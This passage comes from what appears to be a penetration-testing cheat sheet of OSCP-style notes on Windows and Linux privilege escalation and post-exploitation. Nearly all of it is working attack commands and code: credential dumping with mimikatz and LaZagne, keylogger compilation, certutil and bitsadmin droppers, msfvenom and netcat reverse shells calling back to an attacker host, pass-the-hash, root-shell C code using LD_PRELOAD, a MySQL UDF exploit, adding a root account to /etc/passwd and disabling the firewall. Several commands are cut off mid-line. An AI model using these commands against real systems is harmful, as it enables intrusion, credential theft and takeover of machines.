  1783. \HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP Value : PortNUmber REG_DWORD=3389
  1784. Remote Execution commands:
  1785. wmis -U DOMAIN\$USER%$PASS //$DC cmd.exe /c $COMMAND
  1786. wmic /node:$IP /user:administrator /password:$PASSWORD bios get serialnumber
  1787. tasklist.exe /S $IP /U domain\username
  1788. tasklist.exe /S $IP /U domain\username /FI "USERNAME eq NT AUTHORITY\SYSTEM" /FI "STATUS eq running"
  1789. taskkill.exe /S $IP /U domain\username /F /FI "norton"
  1790. quser /SERVER:$IP
  1791. From sysinternals psexec:
  1792. psexec -accepteula \\$IP -u DOMAIN\USER cmd.exe
  1793. psexec \\$IP -s cmd /c copy \\server\share\file.ext c:\Temp
  1794. psexec -s \\$IP c:\windows\system32\cscript.exe script.vbs arg1
  1795. Copy a file to the target host AND execute it:
  1796. psexec -accepteula \\$IP -u DOMAIN\USER -c file.exe -w C:\temp
  1797. Authenticated WMI Exec via Powershell
  1798. msf > use exploit/windows/local/ps_wmi_exec
  1799. msf exploit(windows/local/ps_wmi_exec) > show options
  1800. Module options (exploit/windows/local/ps_wmi_exec):
  1801. Name Current Setting Required Description
  1802. ---- --------------- -------- -----------
  1803. DOMAIN no Domain or machine name
  1804. PASSWORD no Password to authenticate with
  1805. RHOSTS no Target address range or CIDR identifier
  1806. SESSION yes The session to run this module on.
  1807. USERNAME no Username to authenticate as
  1808. Exploit target:
  1809. Id Name
  1810. -- ----
  1811. 0 Universal
  1812. msf exploit(windows/local/ps_wmi_exec) >
  1813. In the same host but with other role:
  1814. runas /user:administrator cmd
  1815. runas /noprofile /user:DOMAIN\administrator cmd
  1816. runas /profile /env /user:DOMAIN\$USER "%windir%\system32\script.bat"
  1817. Windows exploit suggester (OBSOLETE)
  1818. WARNING: As of March 14 2017 no longer supported (https://github.com/GDSSecurity/Windows-Exploit-Suggester/issues/28)
  1819. python windows-exploit-suggester.py --update
  1820. python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
  1821. Tools for information gathering
  1822. Manual method
  1823. dir %TMP% %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent
  1824. dir %USERPROFILE%\Favorites
  1825. type C:\Windows\System32\drivers\etc\hosts
  1826. LaZagne
  1827. Download LaZagne from https://github.com/AlessandroZ/LaZagne
  1828. laZagne.exe all
  1829. laZagne.exe browsers
  1830. laZagne.exe browsers -firefox
  1831. RATs (Remote Administration Tools)
  1832. Pupy https://github.com/n1nj4sec/pupy: opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
  1833. Sniffers
  1834. Sniffers for Windows
  1835. Install Wireshark, also use in console dumpcap:
  1836. dumpcap -D
  1837. dumpcap -i $IFACE
  1838. Keyloggers for Windows
  1839. Windows keylogger (no admin rights):
  1840. https://raw.githubusercontent.com/GiacomoLaw/Keylogger/master/windows/klog_main.cpp
  1841. To cross-compile it for Windows:
  1842. i686-w64-mingw32-g++ klog_main.cpp -o klog -static
  1843. Network sniffers for Linux
  1844. tcpdump -X -s 0 -i $INTERFACE
  1845. Password dumping
  1846. mimikatz
  1847. mimikatz.exe
  1848. mimikatz> privilege::debug
  1849. mimikatz> sekurlsa::logonPasswords
  1850. mimikatz> sekurlsa::msv
  1851. Fgdump
  1852. Dumps hashes (needs SYSTEM privileges)
  1853. fgdump.exe
  1854. WCE (Windows Credential Editor)
  1855. Dumps clear passwords:
  1856. wce -w
  1857. Dumps hashes:
  1858. wce
  1859. Persistent, writes in credentials.txt:
  1860. wce -r
  1861. Change your credentials in memory:
  1862. wce -s
  1863. Droppers
  1864. Droppers are programs that allows you to download tools, trojans, etc to the target machine to follow the compromise locally.
  1865. Droppers using Linux
  1866. wget http://$IP/file
  1867. curl -k https://$IP/file > file
  1868. nc -nvv $IP 8080 > file
  1869. scp $FILE root@$IP:~
  1870. Droppers using Windows
  1871. Powershell
  1872. curl -Uri $URL
  1873. See also Powercat in the Powershell frameworks section.
  1874. ROBOCOPY
  1875. NET USE \\$IP\IPC$ /USER:DOMAIN\USER
  1876. ROBOCOPY \\$IP\DATA\ C:\DATA\ /NP /TEE /E /dcopy:T /Z
  1877. NET USE \\$IP\IPC$ /D
  1878. BITSAdmin
  1879. https://docs.microsoft.com/en-us/windows/desktop/Bits/bitsadmin-tool
  1880. Direct Transfer:
  1881. bitsadmin /transfer myDownloadJob /download /priority normal http://$IP/$FILE c:\$FILE
  1882. Using a download queue:
  1883. bitsadmin /create myDownloadJob
  1884. bitsadmin /addfile myDownloadJob http://$IP/$FILE c:\$FILE
  1885. Certutil
  1886. certutil.exe -urlcache -split -f "https://$IP/files/netcat.exe" nc.exe
  1887. Notepad
  1888. notepad.exe http://$IP/file.txt
  1889. Living Off the Land (LOLbins) for Windows
  1890. Links:
  1891. https://github.com/LOLBAS-Project/LOLBAS
  1892. https://lolbas-project.github.io/
  1893. https://gtfobins.github.io/
  1894. https://github.com/Arno0x/CSharpScripts
  1895. https://gist.github.com/jstangroome/9adaa87a845e5be906c8
  1896. https://gallery.technet.microsoft.com/PS2EXE-Convert-PowerShell-9e4e07f1
  1897. Examples:
  1898. hh.exe C:\windows\system32\calc.exe
  1899. C# compiler built-in command:
  1900. csc.exe
  1901. Droppers Using known protocols
  1902. HTTP
  1903. Python2
  1904. python -m SimpleHTTPServer
  1905. python -m SimpleHTTPServer 80
  1906. Python3
  1907. python3 -m http.server 8080
  1908. Php
  1909. php -S localhost:8000
  1910. Ruby
  1911. ruby -run -e httpd . -p 8000
  1912. FTP
  1913. pip install pyftpdlib
  1914. python -m pyftpdlib
  1915. SMB
  1916. impacket-smbserver PAYLOADS /root/payload
  1917. SharpUp.exe is part of the GhostPack suite of tools and is a C# port of PowerUp that will perform numerous privilege escalation checks.
  1918. The following command will run all priv esc checks and store the output in a file.
  1919. Command Reference:
  1920. Output File: output.txt
  1921. Command:
  1922. Copy
  1923. SharpUp.exe > output.txt
  1924. https://github.com/GhostPack/SharpUp
  1925. https://www.harmj0y.net/blog/redteaming/ghostpack/
  1926. winpeas.exe is a script that will search for all possible paths to escalate privileges on Windows hosts.
  1927. The below command will run all priv esc checks and store the output in a file.
  1928. Command Reference:
  1929. Run all checks: cmd
  1930. Output File: output.txt
  1931. Command:
  1932. Copy
  1933. winpeas.exe cmd > output.txt
  1934. Windows
  1935. privesccheck
  1936. winenum
  1937. winpeas
  1938. Enumerating all the access tokens on the victim system with PowerSploit:
  1939. Invoke-TokenManipulation -ShowAll | ft -Wrap -Property domain,username,tokentype,logontype,processid
  1940. Running the compiled code invokes a new process with the newly stolen token:
  1941. One of the techniques of token manipulation is creating a new process with a token "stolen" from another process. This is when a token of an already existing access token present in one of the running processes on the victim host, is retrieved, duplicated and then used for creating a new process, making the new process assume the privileges of that stolen token. A high level process of the token stealing that will be carried out in this lab is as follows:
  1942. Step Win32 API
  1943. Open a process with access token you want to steal OpenProcess
  1944. Get a handle to the access token of that process OpenProcesToken
  1945. Make a duplicate of the access token present in that process DuplicateTokenEx
  1946. Create a new process with the newly aquired access token CreateProcessWithTokenW
  1947. DLL Hijacking
  1948. DLL Search Order Hijacking for privilege escalation, code execution, etc.
  1949. Generating a DLL that will be loaded and executed by a vulnerable program which connect back to the attacking system with a meterpreter shell:
  1950. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil-meterpreter64.dll
  1951. Pass The Hash: Privilege Escalation with Invoke-WMIExec
  1952. If you have an NTLMv2 hash of a local administrator on a box ws01, it's possible to pass that hash and execute code with privileges of that local administrator account:
  1953. Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username administrator -command hostname
  1954. If the target system you are passing the hash to, has the following registry key/value/data set to 0x1, pass the hash will work even for accounts that are not RID 500:
  1955. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
  1956. Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username spotless -command hostname
  1957. #enumerate the users
  1958. #rid brute forcing
  1959. cme smb $ip -u "" -p "" --rid-brute
  1960. #active sessions
  1961. cme smb $ip -u '' -p '' --loggedon-users
  1962. #users in general
  1963. cme smb $ip -u '' -p '' --users
  1964. #enumerate the groups
  1965. #local groups
  1966. cme smb $ip -u '' -p '' --local-groups
  1967. #domain groups
  1968. cme smb $ip -u '' -p '' --groups
  1969. #smbclient
  1970. smbclient -L $ip
  1971. smbclient //$ip/tmp
  1972. smbclient \\\\192.168.1.105\\ipc$ -U john
  1973. smbclient //$ip/ipc$ -U john
  1974. #mounting the share
  1975. mkdir /mnt/targetshare
  1976. mount -t cifs \\172.16.20.88\ipc$ -o username=[username] /mnt/targetshare
  1977. nmap
  1978. nmap -sU -p 69 --script tftp-enum.nse $ip
  1979. Interact with TFTP protocol:
  1980. #setup the connection
  1981. tftp 172.16.200.100
  1982. #get a file
  1983. tftp> get /etc/passwd
  1984. #upload reverse shell
  1985. tftp> put shell.php
  1986. enumerate information with known community string
  1987. # enumerate windows users
  1988. snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25
  1989. # enumerates running processes
  1990. snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.
  1991. Linux Privilege Escalation
  1992. OS & User Enumeration :
  1993. ############################### User Enumeration ##########################
  1994. whoami
  1995. id
  1996. sudo -l
  1997. cat /etc/passwd
  1998. ls -la /etc/shadow
  1999. ################################# OS Enumeration ##########################
  2000. cat /etc/issue
  2001. cat /etc/*-release
  2002. cat /proc/version
  2003. uname -a
  2004. arch
  2005. ldd --version
  2006. ################################# Installed tools #########################
  2007. which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp
  2008. ############################ File owners and permissions ##################
  2009. ls -la
  2010. find . -ls
  2011. history
  2012. cat ~/.bash_history
  2013. find / -type f -user <username> -readable 2> /dev/null # Readable files for
  2014. find / -writable -type d 2>/dev/null # Writable files by the user
  2015. find /usr/local/ -type d -writable
  2016. ################################## File mount #############################
  2017. /mnt /media -> usb devices and other mounted disks
  2018. mount -> show all the mounted drives
  2019. df -h -> list all partitions
  2020. cat /etc/fstab # list all drives mounted at boot time
  2021. /bin/lsblk
  2022. #################################### Applications #########################
  2023. dpkg -l # for Debian based systems
  2024. ##################################### Cron tabs ###########################
  2025. ls -lah /etc/cron*
  2026. cat /etc/crontab
  2027. ls -la /var/log/cron* # Locating cron logs
  2028. find / -name cronlog 2>/dev/null
  2029. grep "CRON" /var/log/cron.log # for locating running jobs from logs
  2030. grep CRON /var/log/syslog # grepping cron from syslog
  2031. #################################### Internal Ports #######################
  2032. Netstat -alnp | grep LIST | grep port_num
  2033. Netstat -antp
  2034. netstat -tulnp
  2035. curl the listening ports
  2036. ################################### Interesting DIRS ######################
  2037. /dev/scripts
  2038. /opt
  2039. /mnt
  2040. /var/www/html
  2041. /var
  2042. /etc
  2043. /media
  2044. /backup
  2045. ################################### SUID Binaries #########################
  2046. (https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binar
  2047. find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/
  2048. find / -perm -u=s -type f 2>/dev/null
  2049. find / -perm -4000 -user root 2>/dev/null
  2050. ldd /usr/bin/binary-name
  2051. strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file
  2052. ################################# Firewall Enumeration ####################
  2053. grep -Hs iptables /etc/*
  2054. ############################### Kernal Modules ############################
  2055. lsmod
  2056. /sbin/modinfo <mod name>
  2057. PrivEsc Checklist :
  2058. sudo rights (https://medium.com/schkn/linux-privilege-escalation-using-text-editors- and-files-part-1-a8373396708d)
  2059. sensitive files & permission misconfiguration (SSH keys, shadow files)
  2060. SUID Binaries
  2061. Internal Ports
  2062. Processes running with root privilege
  2063. Cron tabs
  2064. Hidden cron process with pspy
  2065. Mounted filesystems
  2066. TMUX session hijacking
  2067. Path Hijacking
  2068. Process Injection (https://github.com/nongiach/sudo_inject)
  2069. Docker PS
  2070. Interesting groups (https://book.hacktricks.xyz/linux-unix/privilege- escalation/interesting-groups-linux-pe)
  2071. Wheel
  2072. Shadow
  2073. Disk
  2074. Video
  2075. Root
  2076. Docker
  2077. lxd - (https://www.hackingarticles.in/lxd-privilege-escalation/)
  2078. Environment variables
  2079. bash version < 4.2-048 | 4.4 (https://tryhackme.com/room/linuxprivesc Task 14, 15)
  2080. NFS Misconfiguration
  2081. linpeas.sh -a //all checks
  2082. SUID Shared Object Injection :
  2083. Find a SUID binary that looks fishy
  2084. strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file"
  2085. Match the shared object that sits in a path where you have write access
  2086. create a shared object in the missing SO file name
  2087. run the SUID binary
  2088. NFS Misconfiguration :
  2089. https://tryhackme.com/room/linuxprivesc (Task 19)
  2090. cat /etc/exports
  2091. On Kali
  2092. mkdir /tmp/nfs
  2093. mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs
  2094. msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o
  2095. /tmp/nfs/shell.elf
  2096. chmod +xs /tmp/nfs/shell.elf
  2097. On Target
  2098. /tmp/shell.elf
  2099. Kernel Exploits
  2100. cat /proc/version
  2101. uname -r
  2102. uname -mrs
  2103. cat /etc/lsb-release
  2104. cat /etc/os-release
  2105. gcc exploit.c -o exp
  2106. Compile exploit in local machine and upload to remote machine
  2107. gcc -m32 -Wl,--hash-style=both 9542.c -o 9542
  2108. apt-get install gcc-multilib
  2109. Recover Deleted Files :
  2110. extundelete (HTB mirai - https://tiagotavares.io/2017/11/mirai-hack-the-box-retired/)
  2111. strings
  2112. C Program to SetUID /bin/bash :
  2113. gcc -Wall suid.c -o exploit
  2114. sudo chown root exploit
  2115. sudo chmod u+s exploit
  2116. $ ls -l exploit -rwsr-xr-x 1 root users 6894 11 sept. 22:05 exploit
  2117. #include <unistd.h>
  2118. int main()
  2119. {
  2120. setuid(0);
  2121. execl("/bin/bash", "bash", (char *)NULL);
  2122. return 0;
  2123. }
  2124. ./exploit
  2125. # whoami
  2126. root
  2127. Tools :
  2128. Linux Exploit Suggester (HTB Nibbles) (https://github.com/mzet-/linux-exploit- suggester)
  2129. SUIDENUM (https://github.com/Anon-Exploiter/SUID3NUM)
  2130. LinEnum.sh (https://github.com/rebootuser/LinEnum)
  2131. linpeas.sh (https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/linPEAS)
  2132. Linprivchecker (https://github.com/sleventyeleven/linuxprivchecker)
  2133. pspy (https://github.com/DominicBreuker/pspy) (crontabs)
  2134. Resources :
  2135. https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
  2136. https://github.com/Ignitetechnologies/Privilege-Escalation
  2137. https://gtfobins.github.io/
  2138. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  2139. Mysql
  2140. MYSQL UDF Exploit: https://www.exploit-db.com/exploits/1518 gcc -g -c raptor_udf2.c -fPIC 1
  2141. gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -
  2142. mysql -u root 45
  2143. use mysql;
  2144. create table foo(line blob);
  2145. insert into foo values(load_file('/home/raptor_udf2.so'));
  2146. select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
  2147. create function do_system returns integer soname 'raptor_udf2.so';
  2148. select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
  2149. exit
  2150. user@target$ /tmp/rootbash -p
  2151. MYSQL running as root :
  2152. mysql -u root
  2153. select sys_exec('whoami');
  2154. select sys_eval('whoami');
  2155. /* If function doesnt exist, create the function */
  2156. CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
  2157. if NULL returns, try redirecting the errors 9 select sys_eval('ls /root 2>&1');
  2158. Sudo Abuse
  2159. $ sudo -l
  2160. [sudo] password for appadmin:
  2161. User appadmin may run the following commands on this host:
  2162. (root) /opt/Support/start.sh
  2163. Checklist:
  2164. Write permission to start.sh
  2165. write permission to the /opt/support
  2166. Create start.sh if doesn't exist
  2167. Environment Variables
  2168. (https://tryhackme.com/room/linuxprivesc)
  2169. Check which environment variables are inherited (look for the env_keep options):
  2170. sudo -l
  2171. LD_PRELOAD LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library.
  2172. /* Preload.c */
  2173. #include <stdio.h>
  2174. #include <sys/types.h>
  2175. #include <stdlib.h>
  2176. void _init() {
  2177. unsetenv("LD_PRELOAD");
  2178. setresuid(0,0,0);
  2179. system("/bin/bash -p");
  2180. }
  2181. gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
  2182. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:
  2183. sudo LD_PRELOAD=/tmp/preload.so program-name-here
  2184. LD_LIBRARY_PATH
  2185. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
  2186. Run ldd against the any program that you can execute as sudo (sudo -l) to see which shared libraries are used by the program:
  2187. ldd /usr/sbin/apache2
  2188. Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:
  2189. /* Library_path.c */
  2190. #include <stdio.h>
  2191. #include <stdlib.h>
  2192. static void hijack() __attribute__((constructor));
  2193. void hijack() {
  2194. unsetenv("LD_LIBRARY_PATH");
  2195. setresuid(0,0,0); 10 system("/bin/bash -p");
  2196. }
  2197. gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
  2198. Run program using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):
  2199. sudo LD_LIBRARY_PATH=/tmp program-name-here
  2200. Escalation Methods
  2201. echo root:gl0b0 | /usr/sbin/chpasswd
  2202. // exploit : exploit (pwd)
  2203. echo "exploit:YZE7YPhZJyUks:0:0:root:/root:/bin/bash" >> /etc/passwd | su -
  2204. nano /etc/passwd -> change GID to root
  2205. nano /etc/sudoers -> user ALL=(ALL) NOPASSWD:ALL
  2206. cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash;
  2207. /tmp/rootbash -p
  2208. Windows Privilege Escalation
  2209. Enumeration
  2210. OS Info Enumeration
  2211. systeminfo
  2212. hostname
  2213. echo %username%
  2214. wmic qfe -> check patches
  2215. wmic logicaldisk -> get other disk information
  2216. User Enumeration
  2217. whoami
  2218. whoami /priv -> check user privilleges
  2219. whoami /groups -> check user groups
  2220. net user -> list all users
  2221. net user <username> -> check groups associated with a user
  2222. net localgroup -> Check all the local groups available
  2223. net localgroup <group name> -> List the members of the given localgroup
  2224. Task | Service | Process Enumeration
  2225. sc queryex type= service (Lists all the service)
  2226. tasklist /SVC tasklist
  2227. net start
  2228. DRIVERQUERY
  2229. wmic product get name, version, vendor
  2230. Permission Enumeration
  2231. C:\Program Files :
  2232. icacls program_name icacls root.txt /grant <username>:F (to grant permission to access file)
  2233. Check the PowerShell history file
  2234. type
  2235. C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadlin
  2236. e\ConsoleHost_history.txt
  2237. Check stored usernames and passwords
  2238. cmdkey /list
  2239. Network based
  2240. ipconfig
  2241. ipconfig /all
  2242. arp -a
  2243. router print
  2244. netstat -ano
  2245. Password Hunting
  2246. findstr /si password *.txt *.ini *.config (try searching in differe
  2247. dir /s *pass* == *cred* == *vnc* == *.config*
  2248. dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc*
  2249. where /R C:\ user.txt
  2250. where /R C:\ *.ini
  2251. Swisskyrepo for manual pwd enumeration
  2252. AV / Firewall check / Service Enumeration
  2253. sc query windefend 1 netsh advfirewall firewall dump
  2254. netsh advfirewall show currentprofile
  2255. netsh advfirewall firewall show rule name=all 4
  2256. netsh firewall show state (show firewall running or stopped)
  2257. netsh firewall show config (show firewall configuration)
  2258. netsh firewall set opmode disable # Disable firewall
  2259. Scheduled Tasks
  2260. schtasks /query /fo LIST /v
  2261. Mount Information
  2262. mountvol
  2263. Escalation Techniques:
  2264. Service Account Priv Esc (Token Impersonation)
  2265. whoami /priv
  2266. Run As :
  2267. Use the cmdkey to list the stored credentials on the machine.
  2268. cmdkey /list
  2269. Currently stored credentials:
  2270. Target: Domain:interactive=WORKGROUP\Administrator
  2271. Type: Domain Password
  2272. User: WORKGROUP\Administrator
  2273. Using runas with a provided set of credential.
  2274. runas /savecred /user:admin C:\PrivEsc\reverse.exe
  2275. C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c
  2276. Access check :
  2277. accesschk.exe -ucqv [service_name] /accepteula
  2278. accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)
  2279. Find all weak folder permissions per drive.
  2280. accesschk.exe /accepteula -uwdqs Users c:\
  2281. accesschk.exe /accepteula -uwdqs "Authenticated Users" c:\
  2282. Find all weak file permissions per drive.
  2283. accesschk.exe /accepteula -uwsv "Everyone" "C:\Program Files"
  2284. accesschk.exe /accepteula -uwqs Users c:\*.*
  2285. accesschk.exe /accepteula -uwqs "Authenticated Users" c:\*.*
  2286. Powershell :
  2287. Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -m
  2288. Binary planting (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services)
  2289. sc qc [service_name] // for service properties
  2290. sc query [service_name] // for service status
  2291. sc config [service_name] binpath= "C:\Temp\nc.exe -nv [RHOST] [RPORT] - e C:\WINDOWS\System32\cmd.exe"
  2292. sc config [service_name] obj= ".\LocalSystem" password= ""
  2293. net start [service_name]
  2294. Unquoted Service Path Privilege Escalation
  2295. https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
  2296. wmic service get name,displayname,pathname,startmode |findstr /i "Auto"
  2297. Always Install Elevated :
  2298. reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer 1 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
  2299. msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=4444 –f msi > i
  2300. C:> msiexec /quiet /qn /i install.msi
  2301. Kernel Exploits :
  2302. https://github.com/abatchy17/WindowsExploits
  2303. https://github.com/SecWiki/windows-kernel-exploits
  2304. run systeminfo | capture the output and run windows-exploit-suggester.py
  2305. Compiling Kernel Exploits :
  2306. i686-w64-mingw32-gcc exploit.c -o exploit
  2307. or for 32 bit
  2308. i686-w64-mingw32-gcc 40564.c -o 40564 -lws2_32
  2309. Automated Enumeration Tools
  2310. Powershell:
  2311. powershell -ep bypass
  2312. load powershell (only in meterpreter)
  2313. Sherlock (https://github.com/rasta-mouse/Sherlock)
  2314. https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc (PowerUp)
  2315. EXE : (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#exe)
  2316. WinPeas [ https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/winPEAS ]
  2317. Accesschk.exe [https://github.com/jivoi/pentest/blob/master/post_win/accesschk_exe]
  2318. PowerUp (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
  2319. Seatbelt (https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)
  2320. Other : Windows Exploit Suggester (https://github.com/AonCyberLabs/Windows-Exploit- Suggester)
  2321. Metasploit :
  2322. getsystem
  2323. run post/multi/recon/local_ exploit_ suggester
  2324. Resources :
  2325. https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%2 0and%20Resources/Windows%20-%20Privilege%20Escalation.md https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
  2326. http://www.fuzzysecurity.com/tutorials/16.html
  2327. https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation (Win PrivEsc Checlist)
  2328. https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
  2329. Enumeration Tools :
  2330. https://github.com/Tib3rius/AutoRecon
  2331. https://bitbucket.org/xaeroborg/python3-programs/src
  2332. https://github.com/21y4d/nmapAutomator Linux Privilege escalation Tools :
  2333. Linux Exploit Suggester (https://github.com/mzet-/linux-exploit-suggester)
  2334. SUIDENUM (https://github.com/Anon-Exploiter/SUID3NUM)
  2335. LinEnum.sh (https://github.com/rebootuser/LinEnum)
  2336. linpeas.sh (https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/linPEAS)
  2337. Linprivchecker (https://github.com/sleventyeleven/linuxprivchecker)
  2338. pspy (https://github.com/DominicBreuker/pspy) (crontabs)
  2339. Windows Privilege Escalation Tools
  2340. Powershell:
  2341. powershell -ep bypass
  2342. load powershell (only in meterpreter)
  2343. Sherlock (https://github.com/rasta-mouse/Sherlock)
  2344. https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc (PowerUp)
  2345. EXE : (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#exe)
  2346. WinPeas [ https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/winPEAS ]
  2347. Accesschk.exe [https://github.com/jivoi/pentest/blob/master/post_win/accesschk_exe]
  2348. PowerUp (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
  2349. Seatbelt (https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)
  2350. Others:
  2351. Windows Exploit Suggester (https://github.com/AonCyberLabs/Windows-Exploit- Suggester)

comments powered by Disqus